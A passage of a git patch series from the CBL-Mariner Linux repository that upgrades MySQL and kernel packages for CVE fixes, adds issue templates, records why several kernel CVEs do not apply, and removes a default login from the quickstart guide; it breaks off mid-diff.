From 19157a23e8e523ad47f0f8df5f865bb3268e5aae Mon Sep 17 00:00:00 2001 From: himaja-kesari <123194058+himaja-kesari@users.noreply.github.com> Date: Mon, 6 Nov 2023 08:47:21 -0800 Subject: [PATCH 01/34] upgrade mysql to 8.0.34 (#6666) --- SPECS/mysql/mysql.signatures.json | 2 +- SPECS/mysql/mysql.spec | 16 +++++++++++----- cgmanifest.json | 4 ++-- 3 files changed, 14 insertions(+), 8 deletions(-) diff --git a/SPECS/mysql/mysql.signatures.json b/SPECS/mysql/mysql.signatures.json index 8fe1c845ccf..52459f1afd7 100644 --- a/SPECS/mysql/mysql.signatures.json +++ b/SPECS/mysql/mysql.signatures.json @@ -1,5 +1,5 @@ { "Signatures": { - "mysql-boost-8.0.33.tar.gz": "ae31e6368617776b43c82436c3736900067fada1289032f3ac3392f7380bcb58" + "mysql-boost-8.0.34.tar.gz": "0b881a19bcef732cd4dbbfc8dfeb84eff61f5dfe0d9788d015d699733e0adf1f" } } \ No newline at end of file diff --git a/SPECS/mysql/mysql.spec b/SPECS/mysql/mysql.spec index 345f497e8d2..b75472f1564 100644 --- a/SPECS/mysql/mysql.spec +++ b/SPECS/mysql/mysql.spec @@ -1,6 +1,6 @@ Summary: MySQL. Name: mysql -Version: 8.0.33 +Version: 8.0.34 Release: 1%{?dist} License: GPLv2 with exceptions AND LGPLv2 AND BSD Vendor: Microsoft Corporation @@ -72,14 +72,20 @@ make test %files devel %{_libdir}/*.so %{_libdir}/*.a -%{_libdir}/private/icudt69l/brkitr/*.res -%{_libdir}/private/icudt69l/brkitr/*.brk -%{_libdir}/private/icudt69l/brkitr/*.dict -%{_libdir}/private/icudt69l/unames.icu +%{_libdir}/private/icudt73l/brkitr/*.res +%{_libdir}/private/icudt73l/brkitr/*.brk +%{_libdir}/private/icudt73l/brkitr/*.dict +%{_libdir}/private/icudt73l/unames.icu +%{_libdir}/private/icudt73l/cnvalias.icu +%{_libdir}/private/icudt73l/uemoji.icu +%{_libdir}/private/icudt73l/ulayout.icu %{_includedir}/* %{_libdir}/pkgconfig/mysqlclient.pc %changelog +* Wed Nov 1 2023 CBL-Mariner Servicing Account - 8.0.34-1 +- Auto-upgrade to 8.0.34 - address CVE-2023-22053, CVE-2023-22054, CVE-2023-22056, CVE-2023-22058, CVE-2023-22065, CVE-2023-22110, CVE-2023-22111, CVE-2023-22113, CVE-2023-22115 + * Mon Apr 24 2023 CBL-Mariner Servicing Account - 8.0.33-1 - Auto-upgrade to 8.0.33 - address CVE-2023-21976, CVE-2023-21972, CVE-2023-21982, CVE-2023-21977, CVE-2023-21980 diff --git a/cgmanifest.json b/cgmanifest.json index cbc45fa1a6f..b8fd2a7e85c 100644 --- a/cgmanifest.json +++ b/cgmanifest.json @@ -13743,8 +13743,8 @@ "type": "other", "other": { "name": "mysql", - "version": "8.0.33", - "downloadUrl": "https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-boost-8.0.33.tar.gz" + "version": "8.0.34", + "downloadUrl": "https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-boost-8.0.34.tar.gz" } } }, From 043908393aeaaa8208bec37c74118b61064203cf Mon Sep 17 00:00:00 2001 From: jslobodzian Date: Mon, 6 Nov 2023 11:57:08 -0500 Subject: [PATCH 02/34] Cherry Pick bug and feature template updates to main (#6674) --- .github/ISSUE_TEMPLATE/bug_report.md | 24 +++++++++++++++++++++++ .github/ISSUE_TEMPLATE/feature_request.md | 20 +++++++++++++++++++ 2 files changed, 44 insertions(+) create mode 100644 .github/ISSUE_TEMPLATE/bug_report.md create mode 100644 .github/ISSUE_TEMPLATE/feature_request.md diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 00000000000..11bf9b27cd6 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,24 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: bug +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots or log outputs to help explain your problem. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 00000000000..982a4dc0dcd --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,20 @@ +--- +name: Feature request +about: Suggest an idea for this project +title: '' +labels: feature-request +assignees: '' + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. From 19d3bfac77fd54e06d6823567ab91b5b524dd187 Mon Sep 17 00:00:00 2001 From: jslobodzian Date: Mon, 6 Nov 2023 12:14:48 -0500 Subject: [PATCH 03/34] Clarify that passwords are not permitted for production use in meta user data configuration file (#6675) --- toolkit/resources/assets/meta-user-data/user-data | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/toolkit/resources/assets/meta-user-data/user-data b/toolkit/resources/assets/meta-user-data/user-data index abae988a2f0..9e611c45772 100644 --- a/toolkit/resources/assets/meta-user-data/user-data +++ b/toolkit/resources/assets/meta-user-data/user-data @@ -5,7 +5,7 @@ users: shell: /bin/bash sudo: [ "ALL=(ALL:ALL) ALL" ] lock_passwd: false - # The usage of plain_text_password and passwd is strongly discouraged in the production setting. + # The usage of plain_text_password and passwd is not permitted in the production setting. # ssh-authorized-keys should be used instead for enhanced security. plain_text_passwd: groups: sudo, docker From 9732d2c8399bd211b7a62294b0242f1093d14b12 Mon Sep 17 00:00:00 2001 From: Cameron E Baird Date: Mon, 6 Nov 2023 10:05:44 -0800 Subject: [PATCH 04/34] Nopatch kernel CVE-2023-2430, CVE-2023-3338, CVE-2023-39191, CVE-2023-42752 ... (#6651) --- SPECS/kernel/CVE-2023-2430.nopatch | 4 ++++ SPECS/kernel/CVE-2023-3338.nopatch | 3 +++ SPECS/kernel/CVE-2023-39191.nopatch | 4 ++++ SPECS/kernel/CVE-2023-42752.nopatch | 8 ++++++++ 4 files changed, 19 insertions(+) create mode 100644 SPECS/kernel/CVE-2023-2430.nopatch create mode 100644 SPECS/kernel/CVE-2023-3338.nopatch create mode 100644 SPECS/kernel/CVE-2023-39191.nopatch create mode 100644 SPECS/kernel/CVE-2023-42752.nopatch diff --git a/SPECS/kernel/CVE-2023-2430.nopatch b/SPECS/kernel/CVE-2023-2430.nopatch new file mode 100644 index 00000000000..e380a3c104a --- /dev/null +++ b/SPECS/kernel/CVE-2023-2430.nopatch @@ -0,0 +1,4 @@ +CVE-2023-2430 - Introducing commit not present +Introducing patch not present. Note that 5.15 doesn't even have the vulnerable file https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/io_uring/msg_ring.c?h=v5.15.137 +upstream fix: e12d7a46f65ae4b7d58a5e0c1cbfa825cf8 +But msg_ring.c isn't introduced until 36404b09aa609e00f8f0108356830c22b99b3cbf; not backported to 5.15.* \ No newline at end of file diff --git a/SPECS/kernel/CVE-2023-3338.nopatch b/SPECS/kernel/CVE-2023-3338.nopatch new file mode 100644 index 00000000000..91b90f49a64 --- /dev/null +++ b/SPECS/kernel/CVE-2023-3338.nopatch @@ -0,0 +1,3 @@ +CVE-2023-3338 - not applicable as the DECnet protocol was deprecated/removed from 5.15.* in 2021. +removal in stable: 2a974abc09761c05fef697fe229d1b85a7ce3918 +removed upstream: 1202cdd665315c525b5237e96e0bedc76d7e754f \ No newline at end of file diff --git a/SPECS/kernel/CVE-2023-39191.nopatch b/SPECS/kernel/CVE-2023-39191.nopatch new file mode 100644 index 00000000000..5e219ba623a --- /dev/null +++ b/SPECS/kernel/CVE-2023-39191.nopatch @@ -0,0 +1,4 @@ +CVE-2023-39191 - Not vulnerable; vulnerable code not yet backported to 5.15.* + +dynptrs introduced upstream: 97e03f521050c092919591e668107b3d69c5f426 +dynptrs introduced stable: nil \ No newline at end of file diff --git a/SPECS/kernel/CVE-2023-42752.nopatch b/SPECS/kernel/CVE-2023-42752.nopatch new file mode 100644 index 00000000000..fd9cc88d166 --- /dev/null +++ b/SPECS/kernel/CVE-2023-42752.nopatch @@ -0,0 +1,8 @@ +CVE-2023-42752 - two commits; one backported, the other's bug was not introduced in 5.15 + +igmp: limit igmpv3_newpack() packet size to IP_MAX_MTU +upstream: c3b704d4a4a265660e665df51b129e8425216ed1 +stable: 3e48f741e98a0bd2dc1ad517eec1931ea3accbd7 + +net: deal with integer overflows in kmalloc_reserve() +introduced in upstream: 36875a063b5e3618b42f7bace850473bb88a7c24 \ No newline at end of file From 75388f10ad34bfba85a7a792f9fce2980580a19a Mon Sep 17 00:00:00 2001 From: jslobodzian Date: Mon, 6 Nov 2023 13:17:29 -0500 Subject: [PATCH 05/34] Clarify login instructions (#6677) --- toolkit/docs/quick_start/quickstart.md | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/toolkit/docs/quick_start/quickstart.md b/toolkit/docs/quick_start/quickstart.md index c426bcef1ab..0057d753047 100644 --- a/toolkit/docs/quick_start/quickstart.md +++ b/toolkit/docs/quick_start/quickstart.md @@ -87,11 +87,7 @@ choose DVD Drive and press Add. 1. Right click your VM and select _Connect..._. 1. Select _Start_. -1. Wait for CBL-Mariner to boot to the login prompt, then sign in with: - - mariner_user - p@ssw0rd - +1. Wait for CBL-Mariner to boot to the login prompt, then sign in with the username and password you provisioned in the meta-user-data.iso above. ### ISO Image From bba17d6291969c41ff14bfae7a8617851e777bd2 Mon Sep 17 00:00:00 2001 From: CBL-Mariner-Bot <75509084+CBL-Mariner-Bot@users.noreply.github.com> Date: Mon, 6 Nov 2023 15:09:02 -0800 Subject: [PATCH 06/34] [AUTOPATCHER-kernel] Kernel upgrade to version 5.15.137.1 - branch main (#6681) --- .../kernel-azure-signed.spec | 5 ++++- .../kernel-hci-signed/kernel-hci-signed.spec | 5 ++++- SPECS-SIGNED/kernel-signed/kernel-signed.spec | 7 +++++-- .../hyperv-daemons.signatures.json | 2 +- SPECS/hyperv-daemons/hyperv-daemons.spec | 5 ++++- SPECS/kernel-azure/config | 2 +- SPECS/kernel-azure/config_aarch64 | 2 +- .../kernel-azure/kernel-azure.signatures.json | 6 +++--- SPECS/kernel-azure/kernel-azure.spec | 5 ++++- SPECS/kernel-hci/config | 2 +- SPECS/kernel-hci/kernel-hci.signatures.json | 4 ++-- SPECS/kernel-hci/kernel-hci.spec | 5 ++++- .../kernel-headers.signatures.json | 2 +- SPECS/kernel-headers/kernel-headers.spec | 7 +++++-- SPECS/kernel/config | 2 +- SPECS/kernel/config_aarch64 | 2 +- SPECS/kernel/kernel.signatures.json | 6 +++--- SPECS/kernel/kernel.spec | 7 +++++-- cgmanifest.json | 20 +++++++++---------- .../manifests/package/pkggen_core_aarch64.txt | 2 +- .../manifests/package/pkggen_core_x86_64.txt | 2 +- .../manifests/package/toolchain_aarch64.txt | 2 +- .../manifests/package/toolchain_x86_64.txt | 2 +- 23 files changed, 64 insertions(+), 40 deletions(-) diff --git a/SPECS-SIGNED/kernel-azure-signed/kernel-azure-signed.spec b/SPECS-SIGNED/kernel-azure-signed/kernel-azure-signed.spec index 4f5f829b8f2..4787b7b70da 100644 --- a/SPECS-SIGNED/kernel-azure-signed/kernel-azure-signed.spec +++ b/SPECS-SIGNED/kernel-azure-signed/kernel-azure-signed.spec @@ -9,7 +9,7 @@ %define uname_r %{version}-%{release} Summary: Signed Linux Kernel for Azure Name: kernel-azure-signed-%{buildarch} -Version: 5.15.135.1 +Version: 5.15.137.1 Release: 1%{?dist} License: GPLv2 Vendor: Microsoft Corporation @@ -153,6 +153,9 @@ ln -sf linux-%{uname_r}.cfg /boot/mariner.cfg %exclude /module_info.ld %changelog +* Mon Nov 06 2023 CBL-Mariner Servicing Account - 5.15.137.1-1 +- Auto-upgrade to 5.15.137.1 + * Tue Oct 17 2023 CBL-Mariner Servicing Account - 5.15.135.1-1 - Auto-upgrade to 5.15.135.1 diff --git a/SPECS-SIGNED/kernel-hci-signed/kernel-hci-signed.spec b/SPECS-SIGNED/kernel-hci-signed/kernel-hci-signed.spec index f1c57985976..d49870a5133 100644 --- a/SPECS-SIGNED/kernel-hci-signed/kernel-hci-signed.spec +++ b/SPECS-SIGNED/kernel-hci-signed/kernel-hci-signed.spec @@ -4,7 +4,7 @@ %define uname_r %{version}-%{release} Summary: Signed Linux Kernel for HCI Name: kernel-hci-signed-%{buildarch} -Version: 5.15.135.1 +Version: 5.15.137.1 Release: 1%{?dist} License: GPLv2 Vendor: Microsoft Corporation @@ -149,6 +149,9 @@ ln -sf linux-%{uname_r}.cfg /boot/mariner.cfg %exclude /module_info.ld %changelog +* Mon Nov 06 2023 CBL-Mariner Servicing Account - 5.15.137.1-1 +- Auto-upgrade to 5.15.137.1 + * Tue Oct 17 2023 CBL-Mariner Servicing Account - 5.15.135.1-1 - Auto-upgrade to 5.15.135.1 diff --git a/SPECS-SIGNED/kernel-signed/kernel-signed.spec b/SPECS-SIGNED/kernel-signed/kernel-signed.spec index e889dfbbf76..6ac1dda85b5 100644 --- a/SPECS-SIGNED/kernel-signed/kernel-signed.spec +++ b/SPECS-SIGNED/kernel-signed/kernel-signed.spec @@ -9,8 +9,8 @@ %define uname_r %{version}-%{release} Summary: Signed Linux Kernel for %{buildarch} systems Name: kernel-signed-%{buildarch} -Version: 5.15.135.1 -Release: 2%{?dist} +Version: 5.15.137.1 +Release: 1%{?dist} License: GPLv2 Vendor: Microsoft Corporation Distribution: Mariner @@ -153,6 +153,9 @@ ln -sf linux-%{uname_r}.cfg /boot/mariner.cfg %exclude /module_info.ld %changelog +* Mon Nov 06 2023 CBL-Mariner Servicing Account - 5.15.137.1-1 +- Auto-upgrade to 5.15.137.1 + * Mon Oct 23 2023 Rachel Menge - 5.15.135.1-2 - Bump release to match kernel diff --git a/SPECS/hyperv-daemons/hyperv-daemons.signatures.json b/SPECS/hyperv-daemons/hyperv-daemons.signatures.json index 2944be26113..0a2d58945c7 100644 --- a/SPECS/hyperv-daemons/hyperv-daemons.signatures.json +++ b/SPECS/hyperv-daemons/hyperv-daemons.signatures.json @@ -7,6 +7,6 @@ "hypervkvpd.service": "c1bb207cf9f388f8f3cf5b649abbf8cfe4c4fcf74538612946e68f350d1f265f", "hypervvss.rules": "94cead44245ef6553ab79c0bbac8419e3ff4b241f01bcec66e6f508098cbedd1", "hypervvssd.service": "22270d9f0f23af4ea7905f19c1d5d5495e40c1f782cbb87a99f8aec5a011078d", - "kernel-5.15.135.1.tar.gz": "c947596d55d4a2632cc2fc3192e21d16a5f73d46c82dca36ae097e669df74c09" + "kernel-5.15.137.1.tar.gz": "c00abd18daa5fcdf732d88bed57eb26a247473888c8aa9003897baa15d6c0e58" } } \ No newline at end of file diff --git a/SPECS/hyperv-daemons/hyperv-daemons.spec b/SPECS/hyperv-daemons/hyperv-daemons.spec index 045abc8c41f..883971afaae 100644 --- a/SPECS/hyperv-daemons/hyperv-daemons.spec +++ b/SPECS/hyperv-daemons/hyperv-daemons.spec @@ -8,7 +8,7 @@ %global udev_prefix 70 Summary: Hyper-V daemons suite Name: hyperv-daemons -Version: 5.15.135.1 +Version: 5.15.137.1 Release: 1%{?dist} License: GPLv2+ Vendor: Microsoft Corporation @@ -219,6 +219,9 @@ fi %{_sbindir}/lsvmbus %changelog +* Mon Nov 06 2023 CBL-Mariner Servicing Account - 5.15.137.1-1 +- Auto-upgrade to 5.15.137.1 + * Tue Oct 17 2023 CBL-Mariner Servicing Account - 5.15.135.1-1 - Auto-upgrade to 5.15.135.1 diff --git a/SPECS/kernel-azure/config b/SPECS/kernel-azure/config index 93dbf7852c7..f8232b3b85c 100644 --- a/SPECS/kernel-azure/config +++ b/SPECS/kernel-azure/config @@ -1,6 +1,6 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86_64 5.15.135.1 Kernel Configuration +# Linux/x86_64 5.15.137.1 Kernel Configuration # CONFIG_CC_VERSION_TEXT="gcc (GCC) 11.2.0" CONFIG_CC_IS_GCC=y diff --git a/SPECS/kernel-azure/config_aarch64 b/SPECS/kernel-azure/config_aarch64 index 96ffa95cb2f..70836f5c227 100644 --- a/SPECS/kernel-azure/config_aarch64 +++ b/SPECS/kernel-azure/config_aarch64 @@ -1,6 +1,6 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/arm64 5.15.135.1 Kernel Configuration +# Linux/arm64 5.15.137.1 Kernel Configuration # CONFIG_CC_VERSION_TEXT="gcc (GCC) 11.2.0" CONFIG_CC_IS_GCC=y diff --git a/SPECS/kernel-azure/kernel-azure.signatures.json b/SPECS/kernel-azure/kernel-azure.signatures.json index 2af4d22a9f7..c52d1ada0ef 100644 --- a/SPECS/kernel-azure/kernel-azure.signatures.json +++ b/SPECS/kernel-azure/kernel-azure.signatures.json @@ -1,9 +1,9 @@ { "Signatures": { "cbl-mariner-ca-20211013.pem": "5ef124b0924cb1047c111a0ecff1ae11e6ad7cac8d1d9b40f98f99334121f0b0", - "config": "746e11ba9ca145c0c7bf5fe4570cd985e05dfadae705d3571110818ab8f7103c", - "config_aarch64": "3eed11b4df2e52e9d9bbba93823e1f94c4dac40174050e36187baaadeeffc641", + "config": "f363acd6ddc040dbbb4b0902d004681078fafc4c37bd936b0a33d2c739972b20", + "config_aarch64": "56fff258048924f838958c9d9036206a543f6bf0a677281e5ad97ec8611f09a5", "sha512hmac-openssl.sh": "02ab91329c4be09ee66d759e4d23ac875037c3b56e5a598e32fd1206da06a27f", - "kernel-5.15.135.1.tar.gz": "c947596d55d4a2632cc2fc3192e21d16a5f73d46c82dca36ae097e669df74c09" + "kernel-5.15.137.1.tar.gz": "c00abd18daa5fcdf732d88bed57eb26a247473888c8aa9003897baa15d6c0e58" } } \ No newline at end of file diff --git a/SPECS/kernel-azure/kernel-azure.spec b/SPECS/kernel-azure/kernel-azure.spec index e4b5f3e0668..29d04d0badb 100644 --- a/SPECS/kernel-azure/kernel-azure.spec +++ b/SPECS/kernel-azure/kernel-azure.spec @@ -27,7 +27,7 @@ Summary: Linux Kernel Name: kernel-azure -Version: 5.15.135.1 +Version: 5.15.137.1 Release: 1%{?dist} License: GPLv2 Vendor: Microsoft Corporation @@ -419,6 +419,9 @@ ln -sf linux-%{uname_r}.cfg /boot/mariner.cfg %{_sysconfdir}/bash_completion.d/bpftool %changelog +* Mon Nov 06 2023 CBL-Mariner Servicing Account - 5.15.137.1-1 +- Auto-upgrade to 5.15.137.1 + * Tue Oct 17 2023 CBL-Mariner Servicing Account - 5.15.135.1-1 - Auto-upgrade to 5.15.135.1 diff --git a/SPECS/kernel-hci/config b/SPECS/kernel-hci/config index e3e27a27ae0..89f0570d5a9 100644 --- a/SPECS/kernel-hci/config +++ b/SPECS/kernel-hci/config @@ -1,6 +1,6 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86_64 5.15.135.1 Kernel Configuration +# Linux/x86_64 5.15.137.1 Kernel Configuration # CONFIG_CC_VERSION_TEXT="gcc (GCC) 11.2.0" CONFIG_CC_IS_GCC=y diff --git a/SPECS/kernel-hci/kernel-hci.signatures.json b/SPECS/kernel-hci/kernel-hci.signatures.json index f2bf703ecd5..18b5db62a27 100644 --- a/SPECS/kernel-hci/kernel-hci.signatures.json +++ b/SPECS/kernel-hci/kernel-hci.signatures.json @@ -1,7 +1,7 @@ { "Signatures": { "cbl-mariner-ca-20211013.pem": "5ef124b0924cb1047c111a0ecff1ae11e6ad7cac8d1d9b40f98f99334121f0b0", - "config": "ee632ad1329ca9dae4a7faf72813855c6250b4d795658b369dbecd6115a6b3d5", - "kernel-5.15.135.1.tar.gz": "c947596d55d4a2632cc2fc3192e21d16a5f73d46c82dca36ae097e669df74c09" + "config": "9b9b0d3fa3d597539db6c7734ab294d6eae06cc276125a8aaa95fd15a81d91c6", + "kernel-5.15.137.1.tar.gz": "c00abd18daa5fcdf732d88bed57eb26a247473888c8aa9003897baa15d6c0e58" } } \ No newline at end of file diff --git a/SPECS/kernel-hci/kernel-hci.spec b/SPECS/kernel-hci/kernel-hci.spec index 2487d4f9fe2..faffb982aa7 100644 --- a/SPECS/kernel-hci/kernel-hci.spec +++ b/SPECS/kernel-hci/kernel-hci.spec @@ -17,7 +17,7 @@ %define config_source %{SOURCE1} Summary: Linux Kernel for HCI Name: kernel-hci -Version: 5.15.135.1 +Version: 5.15.137.1 Release: 1%{?dist} License: GPLv2 Vendor: Microsoft Corporation @@ -434,6 +434,9 @@ ln -sf linux-%{uname_r}.cfg /boot/mariner.cfg %{_sysconfdir}/bash_completion.d/bpftool %changelog +* Mon Nov 06 2023 CBL-Mariner Servicing Account - 5.15.137.1-1 +- Auto-upgrade to 5.15.137.1 + * Tue Oct 17 2023 CBL-Mariner Servicing Account - 5.15.135.1-1 - Auto-upgrade to 5.15.135.1 diff --git a/SPECS/kernel-headers/kernel-headers.signatures.json b/SPECS/kernel-headers/kernel-headers.signatures.json index 94db2df63e5..6b024a593eb 100644 --- a/SPECS/kernel-headers/kernel-headers.signatures.json +++ b/SPECS/kernel-headers/kernel-headers.signatures.json @@ -1,5 +1,5 @@ { "Signatures": { - "kernel-5.15.135.1.tar.gz": "c947596d55d4a2632cc2fc3192e21d16a5f73d46c82dca36ae097e669df74c09" + "kernel-5.15.137.1.tar.gz": "c00abd18daa5fcdf732d88bed57eb26a247473888c8aa9003897baa15d6c0e58" } } \ No newline at end of file diff --git a/SPECS/kernel-headers/kernel-headers.spec b/SPECS/kernel-headers/kernel-headers.spec index 72cfe3491ac..a4c3a7c7518 100644 --- a/SPECS/kernel-headers/kernel-headers.spec +++ b/SPECS/kernel-headers/kernel-headers.spec @@ -1,7 +1,7 @@ Summary: Linux API header files Name: kernel-headers -Version: 5.15.135.1 -Release: 2%{?dist} +Version: 5.15.137.1 +Release: 1%{?dist} License: GPLv2 Vendor: Microsoft Corporation Distribution: Mariner @@ -36,6 +36,9 @@ cp -rv usr/include/* /%{buildroot}%{_includedir} %{_includedir}/* %changelog +* Mon Nov 06 2023 CBL-Mariner Servicing Account - 5.15.137.1-1 +- Auto-upgrade to 5.15.137.1 + * Mon Oct 23 2023 Rachel Menge - 5.15.135.1-2 - Bump release to match kernel diff --git a/SPECS/kernel/config b/SPECS/kernel/config index 3e1da725d6f..1ce23283bc1 100644 --- a/SPECS/kernel/config +++ b/SPECS/kernel/config @@ -1,6 +1,6 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86_64 5.15.135.1 Kernel Configuration +# Linux/x86_64 5.15.137.1 Kernel Configuration # CONFIG_CC_VERSION_TEXT="gcc (GCC) 11.2.0" CONFIG_CC_IS_GCC=y diff --git a/SPECS/kernel/config_aarch64 b/SPECS/kernel/config_aarch64 index b9f4b066fbf..e093d43607f 100644 --- a/SPECS/kernel/config_aarch64 +++ b/SPECS/kernel/config_aarch64 @@ -1,6 +1,6 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/arm64 5.15.135.1 Kernel Configuration +# Linux/arm64 5.15.137.1 Kernel Configuration # CONFIG_CC_VERSION_TEXT="gcc (GCC) 11.2.0" CONFIG_CC_IS_GCC=y diff --git a/SPECS/kernel/kernel.signatures.json b/SPECS/kernel/kernel.signatures.json index 3ba7d680ead..467157a0ab1 100644 --- a/SPECS/kernel/kernel.signatures.json +++ b/SPECS/kernel/kernel.signatures.json @@ -1,9 +1,9 @@ { "Signatures": { "cbl-mariner-ca-20211013.pem": "5ef124b0924cb1047c111a0ecff1ae11e6ad7cac8d1d9b40f98f99334121f0b0", - "config": "29e75717cf6a225402a91fa1005d0e96ebd5f8c0370d34c2987125e29055dde7", - "config_aarch64": "45e5cba866c119c280b3fb06b5a9e36b0b0c6650e51eb8ed3bb5e690abb75cb8", + "config": "f529b9e9ad21c4f26edc849658bf38de43736901d8f3aabc9f3be2f0dc37497e", + "config_aarch64": "00728640d6c8bbe24667e0f63059a9bfef523962805648860e0d2e22e7fe0079", "sha512hmac-openssl.sh": "02ab91329c4be09ee66d759e4d23ac875037c3b56e5a598e32fd1206da06a27f", - "kernel-5.15.135.1.tar.gz": "c947596d55d4a2632cc2fc3192e21d16a5f73d46c82dca36ae097e669df74c09" + "kernel-5.15.137.1.tar.gz": "c00abd18daa5fcdf732d88bed57eb26a247473888c8aa9003897baa15d6c0e58" } } \ No newline at end of file diff --git a/SPECS/kernel/kernel.spec b/SPECS/kernel/kernel.spec index 298eafe40ec..abbd2d02f43 100644 --- a/SPECS/kernel/kernel.spec +++ b/SPECS/kernel/kernel.spec @@ -27,8 +27,8 @@ Summary: Linux Kernel Name: kernel -Version: 5.15.135.1 -Release: 2%{?dist} +Version: 5.15.137.1 +Release: 1%{?dist} License: GPLv2 Vendor: Microsoft Corporation Distribution: Mariner @@ -425,6 +425,9 @@ ln -sf linux-%{uname_r}.cfg /boot/mariner.cfg %{_sysconfdir}/bash_completion.d/bpftool %changelog +* Mon Nov 06 2023 CBL-Mariner Servicing Account - 5.15.137.1-1 +- Auto-upgrade to 5.15.137.1 + * Mon Oct 23 2023 Rachel Menge - 5.15.135.1-2 - Enable CONFIG_BINFMT_MISC diff --git a/cgmanifest.json b/cgmanifest.json index b8fd2a7e85c..57d785d103a 100644 --- a/cgmanifest.json +++ b/cgmanifest.json @@ -6530,8 +6530,8 @@ "type": "other", "other": { "name": "hyperv-daemons", - "version": "5.15.135.1", - "downloadUrl": "https://github.com/microsoft/CBL-Mariner-Linux-Kernel/archive/rolling-lts/mariner-2/5.15.135.1.tar.gz" + "version": "5.15.137.1", + "downloadUrl": "https://github.com/microsoft/CBL-Mariner-Linux-Kernel/archive/rolling-lts/mariner-2/5.15.137.1.tar.gz" } } }, @@ -8111,8 +8111,8 @@ "type": "other", "other": { "name": "kernel", - "version": "5.15.135.1", - "downloadUrl": "https://github.com/microsoft/CBL-Mariner-Linux-Kernel/archive/rolling-lts/mariner-2/5.15.135.1.tar.gz" + "version": "5.15.137.1", + "downloadUrl": "https://github.com/microsoft/CBL-Mariner-Linux-Kernel/archive/rolling-lts/mariner-2/5.15.137.1.tar.gz" } } }, @@ -8121,8 +8121,8 @@ "type": "other", "other": { "name": "kernel-azure", - "version": "5.15.135.1", - "downloadUrl": "https://github.com/microsoft/CBL-Mariner-Linux-Kernel/archive/rolling-lts/mariner-2/5.15.135.1.tar.gz" + "version": "5.15.137.1", + "downloadUrl": "https://github.com/microsoft/CBL-Mariner-Linux-Kernel/archive/rolling-lts/mariner-2/5.15.137.1.tar.gz" } } }, @@ -8131,8 +8131,8 @@ "type": "other", "other": { "name": "kernel-hci", - "version": "5.15.135.1", - "downloadUrl": "https://github.com/microsoft/CBL-Mariner-Linux-Kernel/archive/rolling-lts/mariner-2/5.15.135.1.tar.gz" + "version": "5.15.137.1", + "downloadUrl": "https://github.com/microsoft/CBL-Mariner-Linux-Kernel/archive/rolling-lts/mariner-2/5.15.137.1.tar.gz" } } }, @@ -8141,8 +8141,8 @@ "type": "other", "other": { "name": "kernel-headers", - "version": "5.15.135.1", - "downloadUrl": "https://github.com/microsoft/CBL-Mariner-Linux-Kernel/archive/rolling-lts/mariner-2/5.15.135.1.tar.gz" + "version": "5.15.137.1", + "downloadUrl": "https://github.com/microsoft/CBL-Mariner-Linux-Kernel/archive/rolling-lts/mariner-2/5.15.137.1.tar.gz" } } }, diff --git a/toolkit/resources/manifests/package/pkggen_core_aarch64.txt b/toolkit/resources/manifests/package/pkggen_core_aarch64.txt index e4f9b8a1232..4b623255f08 100644 --- a/toolkit/resources/manifests/package/pkggen_core_aarch64.txt +++ b/toolkit/resources/manifests/package/pkggen_core_aarch64.txt @@ -1,5 +1,5 @@ filesystem-1.1-17.cm2.aarch64.rpm -kernel-headers-5.15.135.1-2.cm2.noarch.rpm +kernel-headers-5.15.137.1-1.cm2.noarch.rpm glibc-2.35-6.cm2.aarch64.rpm glibc-devel-2.35-6.cm2.aarch64.rpm glibc-i18n-2.35-6.cm2.aarch64.rpm diff --git a/toolkit/resources/manifests/package/pkggen_core_x86_64.txt b/toolkit/resources/manifests/package/pkggen_core_x86_64.txt index 4727f064cd7..f0a34f18f8a 100644 --- a/toolkit/resources/manifests/package/pkggen_core_x86_64.txt +++ b/toolkit/resources/manifests/package/pkggen_core_x86_64.txt @@ -1,5 +1,5 @@ filesystem-1.1-17.cm2.x86_64.rpm -kernel-headers-5.15.135.1-2.cm2.noarch.rpm +kernel-headers-5.15.137.1-1.cm2.noarch.rpm glibc-2.35-6.cm2.x86_64.rpm glibc-devel-2.35-6.cm2.x86_64.rpm glibc-i18n-2.35-6.cm2.x86_64.rpm diff --git a/toolkit/resources/manifests/package/toolchain_aarch64.txt b/toolkit/resources/manifests/package/toolchain_aarch64.txt index 1bd8ae770fa..1a059208fd8 100644 --- a/toolkit/resources/manifests/package/toolchain_aarch64.txt +++ b/toolkit/resources/manifests/package/toolchain_aarch64.txt @@ -136,7 +136,7 @@ intltool-0.51.0-7.cm2.noarch.rpm itstool-2.0.6-4.cm2.noarch.rpm kbd-2.2.0-1.cm2.aarch64.rpm kbd-debuginfo-2.2.0-1.cm2.aarch64.rpm -kernel-headers-5.15.135.1-2.cm2.noarch.rpm +kernel-headers-5.15.137.1-1.cm2.noarch.rpm kmod-29-2.cm2.aarch64.rpm kmod-debuginfo-29-2.cm2.aarch64.rpm kmod-devel-29-2.cm2.aarch64.rpm diff --git a/toolkit/resources/manifests/package/toolchain_x86_64.txt 